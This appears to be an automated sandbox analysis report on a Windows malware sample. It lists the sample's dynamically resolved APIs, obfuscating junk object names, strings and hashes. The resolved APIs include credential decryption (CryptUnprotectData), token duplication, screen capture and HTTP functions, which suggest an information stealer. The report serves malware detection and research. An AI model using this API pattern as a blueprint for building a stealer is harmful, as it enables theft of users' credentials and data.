GetProcAddress.KERNEL32(?,LocalAlloc), ref: 00401C2A
GetProcAddress.KERNEL32(?,lstrcmpiW), ref: 00401C3B
GetProcAddress.KERNEL32(?,SetEnvironmentVariableW), ref: 00401C4C
GetProcAddress.KERNEL32(?,CopyFileW), ref: 00401C5D
GetProcAddress.KERNEL32(?,GetModuleFileNameW), ref: 00401C6E
GetProcAddress.KERNEL32(?,lstrcmpA), ref: 00401C7F
GetProcAddress.KERNEL32(?,Sleep), ref: 00401C90
GetProcAddress.KERNEL32(?,GetSystemInfo), ref: 00401C9C
GetProcAddress.KERNEL32(?,LocalFree), ref: 00401CAD
GetProcAddress.KERNEL32(?,Process32Next), ref: 00401CBE
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_xvse5mia), ref: 00401CD2
OutputDebugStringA.KERNEL32(log: jz5qm7rc), ref: 00401CDF
CancelWaitableTimer.KERNEL32(00000000), ref: 00401CE2
SetEnvironmentVariableA.KERNEL32(6jlmcjrx,cnh9796u), ref: 00401CF2
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_wljxxa1y), ref: 00401D03
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 00401D0D
OutputDebugStringA.KERNEL32(log: ko74hj6s), ref: 00401D1C
RegOpenKeyExA.KERNEL32(80000001,regqncl2ht1,00000000,00020019,?), ref: 00401D36
CreateEventA.KERNEL32(00000002,00000001,00000002,ev_f5pprqpz), ref: 00401D4A
SetEvent.KERNEL32(00000000), ref: 00401D53
ResetEvent.KERNEL32(00000000), ref: 00401D5A
CreateMutexA.KERNEL32(00000000,00000000,MTXrd7s4bvk), ref: 00401D69
RegOpenKeyExA.KERNEL32(80000001,regh5zxhtxq,00000000,00020019,?), ref: 00401D8A
ReleaseMutex.KERNEL32(00000000), ref: 00401D91
OutputDebugStringA.KERNEL32(log: iedl7o3i), ref: 00401D9C
RegOpenKeyExA.ADVAPI32(80000001,regwxpg5emx,00000000,00020019,?), ref: 00401DB5
RegOpenKeyExA.ADVAPI32(80000001,reg92q3xuv2,00000000,00020019,0040907F), ref: 00401DCB
CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,00000947,00000000), ref: 00401DD9
FindCloseChangeNotification.KERNEL32(00000000), ref: 00401DE0
LocalAlloc.KERNEL32(00000000,00000EB1), ref: 00401DEC
LocalFree.KERNEL32(00000000), ref: 00401DF3
SetEnvironmentVariableA.KERNEL32(zj006c6o,8ldy45e4), ref: 00401E09
SetEnvironmentVariableA.KERNEL32(atrxgoej,cdmky9t5), ref: 00401E15
GetProcAddress.KERNEL32(?,Process32NextW), ref: 00401E20
GetProcAddress.KERNEL32(?,DeleteFileW), ref: 00401E31
GetProcAddress.KERNEL32(?,lstrcpynA), ref: 00401E42
GetProcAddress.KERNEL32(?,MultiByteToWideChar), ref: 00401E53
GetProcAddress.KERNEL32(?,FindClose), ref: 00401E64
GetProcAddress.KERNEL32(?,CreateToolhelp32Snapshot), ref: 00401E75
GetProcAddress.KERNEL32(?,HeapFree), ref: 00401E86
GetProcAddress.KERNEL32(?,GetUserDefaultLCID), ref: 00401E92
GetProcAddress.KERNEL32(?,GetLogicalDriveStringsW), ref: 00401EA3
LoadLibraryA.KERNEL32(Shlwapi.dll), ref: 00401EB9
GetProcAddress.KERNEL32(00000000,PathMatchSpecW), ref: 00401EC3
GetProcAddress.KERNEL32(00000000,StrCpyW), ref: 00401ED4
GetProcAddress.KERNEL32(00000000,StrStrIW), ref: 00401EE5
GetProcAddress.KERNEL32(00000000,StrStrW), ref: 00401EF1
GetProcAddress.KERNEL32(00000000,PathCombineW), ref: 00401F02
GetProcAddress.KERNEL32(00000000,StrRChrW), ref: 00401F13
GetProcAddress.KERNEL32(00000000,StrToIntA), ref: 00401F24
GetProcAddress.KERNEL32(00000000,StrToIntW), ref: 00401F30
GetProcAddress.KERNEL32(00000000,StrStrA), ref: 00401F41
GetProcAddress.KERNEL32(00000000,StrToInt64ExW), ref: 00401F52
LoadLibraryA.KERNEL32(Ole32.dll), ref: 00401F5D
GetProcAddress.KERNEL32(00000000,CoInitialize), ref: 00401F67
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 00401F73
LoadLibraryA.KERNEL32(WinInet.dll), ref: 00401F83
LoadLibraryA.KERNEL32(Shell32.dll), ref: 00401F8D
LoadLibraryA.KERNEL32(User32.dll), ref: 00401F97
LoadLibraryA.KERNEL32(Advapi32.dll), ref: 00401FA1
LoadLibraryA.KERNEL32(Bcrypt.dll), ref: 00401FAB
LoadLibraryA.KERNEL32(Crypt32.dll), ref: 00401FB2
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_jqiiimpb), ref: 00401FC1
CancelWaitableTimer.KERNEL32(00000000), ref: 00401FCE
RegOpenKeyExA.KERNEL32(80000001,regi5t31w0v,00000000,00020019,?), ref: 00401FE4
CreateEventA.KERNEL32(00000000,00000001,00000000,ev_qwslzv2s), ref: 00401FF3
SetEvent.KERNEL32(00000000), ref: 00401FFC
ResetEvent.KERNEL32(00000000), ref: 00402003
CreateMutexA.KERNEL32(00000000,00000000,MTXh1h0vjfc), ref: 00402012
ReleaseMutex.KERNEL32(00000000), ref: 0040201D
SetEnvironmentVariableA.KERNEL32(zj42gld3,rv2yoix7), ref: 0040202F
LocalAlloc.KERNEL32(00000000,000008A8), ref: 0040203B
GetLastError.KERNEL32 ref: 00402043
LocalFree.KERNEL32(00000000), ref: 00402046
SetEnvironmentVariableA.KERNEL32(3pwug0wb,yth6qxay), ref: 0040205C
CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,00000EF7,00000000), ref: 0040206C
CloseHandle.KERNEL32(00000000), ref: 00402073
SetEnvironmentVariableA.KERNEL32(pptwkxx3,mmic92t0), ref: 00402083
FindFirstFileA.KERNEL32(s_ypjrcmjd,?), ref: 00402091
FindClose.KERNEL32(00000000), ref: 00402098
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_qzioiixa), ref: 004020A7
SetEnvironmentVariableA.KERNEL32(u3fzw22f,jv0sf60k), ref: 004020BA
CancelWaitableTimer.KERNEL32(?), ref: 004020C4
GetLastError.KERNEL32 ref: 004020C6
GetProcAddress.KERNEL32(?,HttpQueryInfoA), ref: 004020D1
GetProcAddress.KERNEL32(?,HttpOpenRequestW), ref: 004020DD
GetProcAddress.KERNEL32(?,InternetReadFileExW), ref: 004020EE
GetProcAddress.KERNEL32(?,InternetOpenUrlW), ref: 004020FA
GetProcAddress.KERNEL32(?,HttpQueryInfoW), ref: 0040210B
GetProcAddress.KERNEL32(?,InternetCloseHandle), ref: 00402117
GetProcAddress.KERNEL32(?,InternetConnectW), ref: 00402128
FindFirstFileA.KERNEL32(s_7gtazm7u,?), ref: 0040213F
FindClose.KERNEL32(00000000), ref: 00402146
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XMLirknili0), ref: 00402157
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 00402161
OutputDebugStringA.KERNEL32(log: yfjw9y17), ref: 00402172
CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,0000127E,00000000), ref: 00402180
OutputDebugStringA.KERNEL32(log: e4rhaefr), ref: 0040218D
FindCloseChangeNotification.KERNEL32(00000000), ref: 00402190
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_0jrmn3am), ref: 0040219F
GetLastError.KERNEL32 ref: 004021A7
CancelWaitableTimer.KERNEL32(00000000), ref: 004021B0
SetEnvironmentVariableA.KERNEL32(x0xez8vp,h544rtpl), ref: 004021BC
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_123mbjf4), ref: 004021CB
CancelWaitableTimer.KERNEL32(00000000), ref: 004021D6
GetLastError.KERNEL32 ref: 004021DA
CreateMutexA.KERNEL32(00000000,00000000,MTXwpsera7h), ref: 004021E5
ReleaseMutex.KERNEL32(00000000), ref: 004021F0
GetLastError.KERNEL32 ref: 004021F6
GetProcAddress.KERNEL32(?,InternetSetOptionW), ref: 00402201
GetProcAddress.KERNEL32(?,InternetOpenW), ref: 00402212
GetProcAddress.KERNEL32(?,HttpSendRequestW), ref: 00402223
GetProcAddress.KERNEL32(?,InternetReadFile), ref: 00402234
GetProcAddress.KERNEL32(?,InternetOpenUrlA), ref: 00402245
GetProcAddress.KERNEL32(?,ShellExecuteW), ref: 00402254
GetProcAddress.KERNEL32(?,SHGetFolderPathW), ref: 00402265
GetProcAddress.KERNEL32(?,SHGetSpecialFolderPathW), ref: 00402276
GetProcAddress.KERNEL32(0040907F,ConvertSidToStringSidW), ref: 0040228A
GetProcAddress.KERNEL32(0040907F,OpenProcessToken), ref: 0040229B
GetProcAddress.KERNEL32(0040907F,SystemFunction036), ref: 004022AC
GetProcAddress.KERNEL32(0040907F,RegEnumKeyExW), ref: 004022BD
GetProcAddress.KERNEL32(0040907F,RegCloseKey), ref: 004022CE
GetProcAddress.KERNEL32(0040907F,DuplicateTokenEx), ref: 004022DF
GetProcAddress.KERNEL32(0040907F,GetUserNameW), ref: 004022F0
GetProcAddress.KERNEL32(0040907F,RegOpenKeyExW), ref: 00402301
GetProcAddress.KERNEL32(0040907F,RegQueryValueExW), ref: 00402312
GetProcAddress.KERNEL32(0040907F,GetTokenInformation), ref: 00402323
GetProcAddress.KERNEL32(0040907F,CreateProcessWithTokenW), ref: 00402334
GetProcAddress.KERNEL32(?,CharUpperW), ref: 00402348
GetProcAddress.KERNEL32(?,EnumDisplayDevicesW), ref: 00402354
GetProcAddress.KERNEL32(?,GetClientRect), ref: 00402365
GetProcAddress.KERNEL32(?,GetDC), ref: 00402376
GetProcAddress.KERNEL32(?,GetDesktopWindow), ref: 00402387
GetProcAddress.KERNEL32(?,GetSystemMetrics), ref: 00402398
GetProcAddress.KERNEL32(?,ReleaseDC), ref: 004023A9
GetProcAddress.KERNEL32(?,wsprintfW), ref: 004023BA
GetProcAddress.KERNEL32(?,CryptStringToBinaryA), ref: 004023CE
GetProcAddress.KERNEL32(?,CryptStringToBinaryW), ref: 004023DF
GetProcAddress.KERNEL32(?,CryptBinaryToStringW), ref: 004023F0
CreateEventA.KERNEL32(00000000,00000001,00000000,ev_b1etesm0), ref: 00402406
SetEvent.KERNEL32(00000000), ref: 0040240F
ResetEvent.KERNEL32(00000000), ref: 00402416
RegOpenKeyExA.KERNEL32(80000001,regnbyjz1nr,00000000,00020019,?), ref: 00402432
LocalAlloc.KERNEL32(00000000,00000301), ref: 0040243E
LocalFree.KERNEL32(00000000), ref: 00402445
GetLastError.KERNEL32 ref: 0040244B
CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,00000BD9,00000000), ref: 00402459
GetLastError.KERNEL32 ref: 00402461
CloseHandle.KERNEL32(00000000), ref: 00402464
SetEnvironmentVariableA.KERNEL32(zb5vekne,c88x2q7v), ref: 00402474
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_jsb4maso), ref: 00402483
CancelWaitableTimer.KERNEL32(00000000), ref: 00402490
SetEnvironmentVariableA.KERNEL32(i9d3ouzx,xxgdwb2b), ref: 0040249C
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_3sigs7jo), ref: 004024AB
CancelWaitableTimer.KERNEL32(00000000), ref: 004024B6
RegOpenKeyExA.ADVAPI32(80000001,regin0myx9q,00000000,00020019,?), ref: 004024CF
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XMLgrqzovek), ref: 004024E6
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 004024ED
OutputDebugStringA.KERNEL32(log: mbxwbj0t), ref: 004024F8
FindFirstFileA.KERNEL32(s_tjunnrd9,?), ref: 00402506
FindClose.KERNEL32(00000000), ref: 0040250D
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_fhrkrtf4), ref: 0040251E
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 00402524
GetLastError.KERNEL32 ref: 0040252E
GetProcAddress.KERNEL32(?,CryptUnprotectData), ref: 00402539

Strings

GlobalFree, xrefs: 004017D1
WinInet.dll, xrefs: 00401F79
WTMR_3sigs7jo, xrefs: 004024A2
lstrcmpA, xrefs: 00401C74
log: vhef2ae3, xrefs: 00401BFF
PathCombineW, xrefs: 00401EF7
2181ggd4, xrefs: 00401731
WTMR_8ntu40mj, xrefs: 0040110A
RegCloseKey, xrefs: 004022C3
XMLo4snug82, xrefs: 00401BB0
regi5t31w0v, xrefs: 00401FDA
ev_s0z9vlos, xrefs: 00401690
RegOpenKeyExW, xrefs: 004022F6
WTMR_759xccm9, xrefs: 004010D6
OpenProcess, xrefs: 00401AD4
InternetCloseHandle, xrefs: 00402111
jmou9d4q, xrefs: 0040190E
XMLirknili0, xrefs: 0040214C
GetModuleFileNameW, xrefs: 00401C63
ev_qwslzv2s, xrefs: 00401FEA
s_1qrtfisa, xrefs: 0040155D
wtrk3swd, xrefs: 0040142D
lstrcmpW, xrefs: 004019A2
regnbyjz1nr, xrefs: 00402428
XMLycyt8ypl, xrefs: 0040118E
log: e87n70va, xrefs: 004010CF
Advapi32.dll, xrefs: 00401F99
CloseHandle, xrefs: 004019B3
DuplicateTokenEx, xrefs: 004022D4
WTMR_4ad8tlym, xrefs: 00401285
reg719naxf2, xrefs: 0040171A
awwtbsdy, xrefs: 004018AB
MTXrxgvqhaw, xrefs: 004010EE
GetSystemInfo, xrefs: 00401C96
RegEnumKeyExW, xrefs: 004022B2
GetFileSize, xrefs: 00401A19
fnw2w2ab, xrefs: 0040117E
zj006c6o, xrefs: 00401E04
WTMR_xvse5mia, xrefs: 00401CC4
SystemFunction036, xrefs: 004022A1
WTMR_dntrqfr3, xrefs: 0040151F
lstrcpyA, xrefs: 00401804
iqytccdt, xrefs: 00401909
MultiByteToWideChar, xrefs: 00401E48
Bcrypt.dll, xrefs: 00401FA3
log: isodsedj, xrefs: 00401472
WTMR_123mbjf4, xrefs: 004021C2
regblgpzrtw, xrefs: 00401941
TerminateProcess, xrefs: 0040167F
op0cx6gi, xrefs: 004012C3
InternetSetOptionW, xrefs: 004021FB
GetUserDefaultLocaleName, xrefs: 00401797
MTXh1h0vjfc, xrefs: 00402009
lstrlenW, xrefs: 00401974
StrToIntW, xrefs: 00401F2A
log: 0nd3b0vm, xrefs: 0040129E
cnh9796u, xrefs: 00401CE8
log: ogj0ypit, xrefs: 00401764
log: 47kl4iru, xrefs: 004013C0
DeleteFileW, xrefs: 00401E26
log: 16ujzsm1, xrefs: 00401873
GetSystemWow64DirectoryW, xrefs: 00401A90
regc0oldo1k, xrefs: 0040162A
WTMR_a5lhfpm4, xrefs: 00401B95
OpenProcessToken, xrefs: 00402290
GetDesktopWindow, xrefs: 0040237C
s_kzz02emp, xrefs: 00401B83
log: 9mhxcwkb, xrefs: 00401786
ReadFile, xrefs: 00401815
WTMR_jsb4maso, xrefs: 0040247A
SMPHR_cdxz4w67, xrefs: 00401826
log: b2w1s67p, xrefs: 004018E9
Crypt32.dll, xrefs: 00401FAD
recj5qks, xrefs: 00401736
StrStrW, xrefs: 00401EEB
GetTokenInformation, xrefs: 00402318
wzi1rqak, xrefs: 0040122A
wsprintfW, xrefs: 004023AF
StrToIntA, xrefs: 00401F19
MTXbu1ulph4, xrefs: 00401609
ShellExecuteW, xrefs: 0040224E
log: vc7gladv, xrefs: 00401327
CryptUnprotectData, xrefs: 00402533
StrCpyW, xrefs: 00401EC9
LocalAlloc, xrefs: 00401C24
log: e4rhaefr, xrefs: 00402186
GetLogicalDriveStringsW, xrefs: 00401E98
WTMR_qzioiixa, xrefs: 0040209E
InternetReadFileExW, xrefs: 004020E3
regvhs59gsp, xrefs: 00401213
reg05t4u0kk, xrefs: 00401BD9
reguvwdc854, xrefs: 004013D4
reg5s46xkq6, xrefs: 004014A8
regqncl2ht1, xrefs: 00401D2C
SMPHR_soa6ozgi, xrefs: 0040164A
GlobalAlloc, xrefs: 00401A4C
log: jz5qm7rc, xrefs: 00401CD8
SHGetFolderPathW, xrefs: 0040225A
WTMR_wyvvis5a, xrefs: 0040187F
FindFirstFileW, xrefs: 004019E6
GetClientRect, xrefs: 0040235A
gcdv8uvx, xrefs: 004016F0
CoCreateInstance, xrefs: 00401F6D
HttpSendRequestW, xrefs: 00402218
x0xez8vp, xrefs: 004021B7
CryptStringToBinaryW, xrefs: 004023D4
ye1ustv2, xrefs: 00401AFE
WideCharToMultiByte, xrefs: 00401A3B
91npe4ox, xrefs: 0040111E
ev_j9o6mq71, xrefs: 004014D4
Shlwapi.dll, xrefs: 00401EAF
rv2yoix7, xrefs: 00402025
CreateProcessWithTokenW, xrefs: 00402329
CopyFileW, xrefs: 00401C52
regin0myx9q, xrefs: 004024C5
h544rtpl, xrefs: 004021B2
lstrcpynA, xrefs: 00401E37
InternetReadFile, xrefs: 00402229
regpuqb8mtg, xrefs: 00401590
Process32NextW, xrefs: 00401E1A
MTXwpsera7h, xrefs: 004021DC
Sleep, xrefs: 00401C85
s1gjxwd2, xrefs: 004012C8
ev_2t9g2hpf, xrefs: 00401851
reg4svb799r, xrefs: 004015FD
atrxgoej, xrefs: 00401E10
4ht4omqp, xrefs: 00401504
lstrcmpiW, xrefs: 00401C30
pptwkxx3, xrefs: 0040207E
GetEnvironmentVariableW, xrefs: 004017A3
HttpQueryInfoA, xrefs: 004020CB
ReleaseDC, xrefs: 0040239E
s_7dotez06, xrefs: 0040195F
6jlmcjrx, xrefs: 00401CED
ev_f5pprqpz, xrefs: 00401D41
GetProcAddress, xrefs: 0040141F
InternetOpenUrlA, xrefs: 0040223A
WTMR_d5mpkoi1, xrefs: 004012EA
m2dnm9cs, xrefs: 0040188D
log: yfjw9y17, xrefs: 0040216D
MTX52acg1yh, xrefs: 00401BE5
SetEnvironmentVariableW, xrefs: 00401C41
Process32First, xrefs: 004019F7
andeq0vd, xrefs: 00401432
OpenMutexW, xrefs: 00401A2A
u4isms9z, xrefs: 00401509
RegQueryValueExW, xrefs: 00402307
xxgdwb2b, xrefs: 00402492
InternetOpenUrlW, xrefs: 004020F4
sj007jvz, xrefs: 00401183
kernel32.dll, xrefs: 00401235
StrToInt64ExW, xrefs: 00401F47
ev_b1etesm0, xrefs: 004023F6
log: mbxwbj0t, xrefs: 004024F3
StrStrA, xrefs: 00401F36
CryptBinaryToStringW, xrefs: 004023E5
MTXrd7s4bvk, xrefs: 00401D60
GetSystemMetrics, xrefs: 0040238D
s9lrpaxw, xrefs: 004018A6
v6f0bbd4, xrefs: 00401B03
ev_7kmlu7vv, xrefs: 00401B19
SMPHR_0q6ih2xa, xrefs: 004011CB
SMPHR_wljxxa1y, xrefs: 00401CF8
SHGetSpecialFolderPathW, xrefs: 0040226B
log: 7nk08cm1, xrefs: 0040184A
egcvay9z, xrefs: 00401892
CreateMutexW, xrefs: 00401A7F
3pwug0wb, xrefs: 00402057
reg8gr9zbgo, xrefs: 0040130D
fww5ykxy, xrefs: 004016EB
CreateFileW, xrefs: 004017E2
s_ypjrcmjd, xrefs: 0040208C
hg7fsjuh, xrefs: 00401B4E
EnumDisplayDevicesW, xrefs: 0040234E
reg28ynuixx, xrefs: 00401392
regdu2bui53, xrefs: 0040138B
XMLkvlfrz72, xrefs: 004016B6
zj42gld3, xrefs: 0040202A
reg92q3xuv2, xrefs: 00401DC1
XML1yif2wps, xrefs: 004015A0
WTMR_2itsc7j4, xrefs: 004014F5
XMLlstzkkuo, xrefs: 00401456
LoadLibraryW, xrefs: 00401673
XMLljz46uce, xrefs: 004018CE
cdmky9t5, xrefs: 00401E0B
log: iedl7o3i, xrefs: 00401D97
GetDC, xrefs: 0040236B
MTX0shuukbm, xrefs: 00401157
regwxpg5emx, xrefs: 00401DAB
log: cf2ap146, xrefs: 00401750
GetCurrentProcess, xrefs: 00401A62
WTMR_uxfouxb7, xrefs: 004018F0
InternetOpenW, xrefs: 00402207
c88x2q7v, xrefs: 0040246A
MTXcva3xyk0, xrefs: 0040124E
WriteFile, xrefs: 00401980
mmic92t0, xrefs: 00402079
WTMR_jqiiimpb, xrefs: 00401FB4
WTMR_ob22lwnk, xrefs: 0040107B
Shell32.dll, xrefs: 00401F85
y6vld0xh, xrefs: 00401225
SMPHR_5xrl5w49, xrefs: 00401360
XMLltekvav7, xrefs: 00401344
FindNextFileW, xrefs: 004019D5
ev_hmuz5fn9, xrefs: 00401027
log: 9yc21jsz, xrefs: 00401175
WTMR_wtnexwiw, xrefs: 00401741
CryptStringToBinaryA, xrefs: 004023C3
InternetConnectW, xrefs: 0040211D
WTMR_0jrmn3am, xrefs: 00402196
Process32FirstW, xrefs: 00401A08
log: 89c11pvd, xrefs: 0040140F
regevw6vq7j, xrefs: 0040106F
SetCurrentDirectoryW, xrefs: 00401991
reg6ggok2ef, xrefs: 00401C15
ConvertSidToStringSidW, xrefs: 0040227F
reg2gzhrlec, xrefs: 00401145
CoInitialize, xrefs: 00401F61
regh5zxhtxq, xrefs: 00401D80
MTXaomvysm9, xrefs: 004013F9
XMLgrqzovek, xrefs: 004024DB
User32.dll, xrefs: 00401F8F
WTMR_bzh707jl, xrefs: 0040139E
GetLocaleInfoW, xrefs: 00401AA1
GetUserNameW, xrefs: 004022E5
HttpQueryInfoW, xrefs: 00402100
yth6qxay, xrefs: 00402052
SMPHR_fhrkrtf4, xrefs: 00402513
CreateToolhelp32Snapshot, xrefs: 00401E6A
zb5vekne, xrefs: 0040246F
HttpOpenRequestW, xrefs: 004020D7
u3fzw22f, xrefs: 004020B2
s_yp9763pc, xrefs: 00401273
CharUpperW, xrefs: 0040233D
8ldy45e4, xrefs: 00401DFF
8z2t8gtj, xrefs: 00401B49
log: ko74hj6s, xrefs: 00401D17
HeapFree, xrefs: 00401E7B
FreeLibrary, xrefs: 004017C0
s_f1r375bo, xrefs: 004013E7
ExitProcess, xrefs: 00401A6E
s_tjunnrd9, xrefs: 00402501
GetLastError, xrefs: 004019C4
lstrlenA, xrefs: 004017AF
GetTimeZoneInformation, xrefs: 004017F3
i9d3ouzx, xrefs: 00402497
ep3wk031, xrefs: 00401119
GetUserDefaultLCID, xrefs: 00401E8C
GetDriveTypeW, xrefs: 00401AC3
StrRChrW, xrefs: 00401F0D
Process32Next, xrefs: 00401CB3
log: 21wtus7d, xrefs: 0040191B
ev_kz20hauk, xrefs: 004015B9
log: z1au6bck, xrefs: 0040178D
LocalFree, xrefs: 00401CA2
regvqmk0jo5, xrefs: 004014C8
FindClose, xrefs: 00401E59
WTMR_7mi6uk4i, xrefs: 0040156F
regemrhnijm, xrefs: 004011E9
MTX1an5cv9k, xrefs: 004016D3
log: 5mf9v8ej, xrefs: 0040163F
s_7gtazm7u, xrefs: 0040213A
WTMR_m4ytynfz, xrefs: 00401B3A
MTX26qr7rfg, xrefs: 00401483
log: nq9dztvg, xrefs: 004011BB
XML9zp7v7g8, xrefs: 00401046
jv0sf60k, xrefs: 004020AD
PathMatchSpecW, xrefs: 00401EBD
GlobalMemoryStatusEx, xrefs: 00401AB2
Ole32.dll, xrefs: 00401F58
log: conql9xp, xrefs: 0040176B
StrStrIW, xrefs: 00401EDA
regzp8q1u6x, xrefs: 004010B6

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: AddressProc$Create$TimerWaitable$Semaphore$ErrorLast$EventRelease$DebugFindOpenOutputString$EnvironmentVariable$LocalMutex$Cancel$CloseFile$AllocFreeMapping$LibraryLoadReset$ChangeFirstNotification$Handle
String ID: 2181ggd4$3pwug0wb$4ht4omqp$6jlmcjrx$8ldy45e4$8z2t8gtj$91npe4ox$Advapi32.dll$Bcrypt.dll$CharUpperW$CloseHandle$CoCreateInstance$CoInitialize$ConvertSidToStringSidW$CopyFileW$CreateFileW$CreateMutexW$CreateProcessWithTokenW$CreateToolhelp32Snapshot$Crypt32.dll$CryptBinaryToStringW$CryptStringToBinaryA$CryptStringToBinaryW$CryptUnprotectData$DeleteFileW$DuplicateTokenEx$EnumDisplayDevicesW$ExitProcess$FindClose$FindFirstFileW$FindNextFileW$FreeLibrary$GetClientRect$GetCurrentProcess$GetDC$GetDesktopWindow$GetDriveTypeW$GetEnvironmentVariableW$GetFileSize$GetLastError$GetLocaleInfoW$GetLogicalDriveStringsW$GetModuleFileNameW$GetProcAddress$GetSystemInfo$GetSystemMetrics$GetSystemWow64DirectoryW$GetTimeZoneInformation$GetTokenInformation$GetUserDefaultLCID$GetUserDefaultLocaleName$GetUserNameW$GlobalAlloc$GlobalFree$GlobalMemoryStatusEx$HeapFree$HttpOpenRequestW$HttpQueryInfoA$HttpQueryInfoW$HttpSendRequestW$InternetCloseHandle$InternetConnectW$InternetOpenUrlA$InternetOpenUrlW$InternetOpenW$InternetReadFile$InternetReadFileExW$InternetSetOptionW$LoadLibraryW$LocalAlloc$LocalFree$MTX0shuukbm$MTX1an5cv9k$MTX26qr7rfg$MTX52acg1yh$MTXaomvysm9$MTXbu1ulph4$MTXcva3xyk0$MTXh1h0vjfc$MTXrd7s4bvk$MTXrxgvqhaw$MTXwpsera7h$MultiByteToWideChar$Ole32.dll$OpenMutexW$OpenProcess$OpenProcessToken$PathCombineW$PathMatchSpecW$Process32First$Process32FirstW$Process32Next$Process32NextW$ReadFile$RegCloseKey$RegEnumKeyExW$RegOpenKeyExW$RegQueryValueExW$ReleaseDC$SHGetFolderPathW$SHGetSpecialFolderPathW$SMPHR_0q6ih2xa$SMPHR_5xrl5w49$SMPHR_cdxz4w67$SMPHR_fhrkrtf4$SMPHR_soa6ozgi$SMPHR_wljxxa1y$SetCurrentDirectoryW$SetEnvironmentVariableW$Shell32.dll$ShellExecuteW$Shlwapi.dll$Sleep$StrCpyW$StrRChrW$StrStrA$StrStrIW$StrStrW$StrToInt64ExW$StrToIntA$StrToIntW$SystemFunction036$TerminateProcess$User32.dll$WTMR_0jrmn3am$WTMR_123mbjf4$WTMR_2itsc7j4$WTMR_3sigs7jo$WTMR_4ad8tlym$WTMR_759xccm9$WTMR_7mi6uk4i$WTMR_8ntu40mj$WTMR_a5lhfpm4$WTMR_bzh707jl$WTMR_d5mpkoi1$WTMR_dntrqfr3$WTMR_jqiiimpb$WTMR_jsb4maso$WTMR_m4ytynfz$WTMR_ob22lwnk$WTMR_qzioiixa$WTMR_uxfouxb7$WTMR_wtnexwiw$WTMR_wyvvis5a$WTMR_xvse5mia$WideCharToMultiByte$WinInet.dll$WriteFile$XML1yif2wps$XML9zp7v7g8$XMLgrqzovek$XMLirknili0$XMLkvlfrz72$XMLljz46uce$XMLlstzkkuo$XMLltekvav7$XMLo4snug82$XMLycyt8ypl$andeq0vd$atrxgoej$awwtbsdy$c88x2q7v$cdmky9t5$cnh9796u$egcvay9z$ep3wk031$ev_2t9g2hpf$ev_7kmlu7vv$ev_b1etesm0$ev_f5pprqpz$ev_hmuz5fn9$ev_j9o6mq71$ev_kz20hauk$ev_qwslzv2s$ev_s0z9vlos$fnw2w2ab$fww5ykxy$gcdv8uvx$h544rtpl$hg7fsjuh$i9d3ouzx$iqytccdt$jmou9d4q$jv0sf60k$kernel32.dll$log: 0nd3b0vm$log: 16ujzsm1$log: 21wtus7d$log: 47kl4iru$log: 5mf9v8ej$log: 7nk08cm1$log: 89c11pvd$log: 9mhxcwkb$log: 9yc21jsz$log: b2w1s67p$log: cf2ap146$log: conql9xp$log: e4rhaefr$log: e87n70va$log: iedl7o3i$log: isodsedj$log: jz5qm7rc$log: ko74hj6s$log: mbxwbj0t$log: nq9dztvg$log: ogj0ypit$log: vc7gladv$log: vhef2ae3$log: yfjw9y17$log: z1au6bck$lstrcmpA$lstrcmpW$lstrcmpiW$lstrcpyA$lstrcpynA$lstrlenA$lstrlenW$m2dnm9cs$mmic92t0$op0cx6gi$pptwkxx3$recj5qks$reg05t4u0kk$reg28ynuixx$reg2gzhrlec$reg4svb799r$reg5s46xkq6$reg6ggok2ef$reg719naxf2$reg8gr9zbgo$reg92q3xuv2$regblgpzrtw$regc0oldo1k$regdu2bui53$regemrhnijm$regevw6vq7j$regh5zxhtxq$regi5t31w0v$regin0myx9q$regnbyjz1nr$regpuqb8mtg$regqncl2ht1$reguvwdc854$regvhs59gsp$regvqmk0jo5$regwxpg5emx$regzp8q1u6x$rv2yoix7$s1gjxwd2$s9lrpaxw$s_1qrtfisa$s_7dotez06$s_7gtazm7u$s_f1r375bo$s_kzz02emp$s_tjunnrd9$s_yp9763pc$s_ypjrcmjd$sj007jvz$u3fzw22f$u4isms9z$v6f0bbd4$wsprintfW$wtrk3swd$wzi1rqak$x0xez8vp$xxgdwb2b$y6vld0xh$ye1ustv2$yth6qxay$zb5vekne$zj006c6o$zj42gld3
API String ID: 2391387761-2684710546
Opcode ID: 1a536fa3dc39c19f1ed2ee4b2570fc7313989dfb692996ff9b1b3916ed31c43c
Instruction ID: d0adbb18586914e551c66604b4a65d76a160412dbd82e6edf90ccfdec291c05c
Opcode Fuzzy Hash: 1a536fa3dc39c19f1ed2ee4b2570fc7313989dfb692996ff9b1b3916ed31c43c
Instruction Fuzzy Hash: 93B2FD71A85314BBD6106BB09E4EFDA3E78EB0DB51F108122F709E61E0C6F855A0CB6D

Function 00408CDA Relevance: 929.1, APIs: 346, Strings: 184, Instructions: 1584
timeregistrysynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
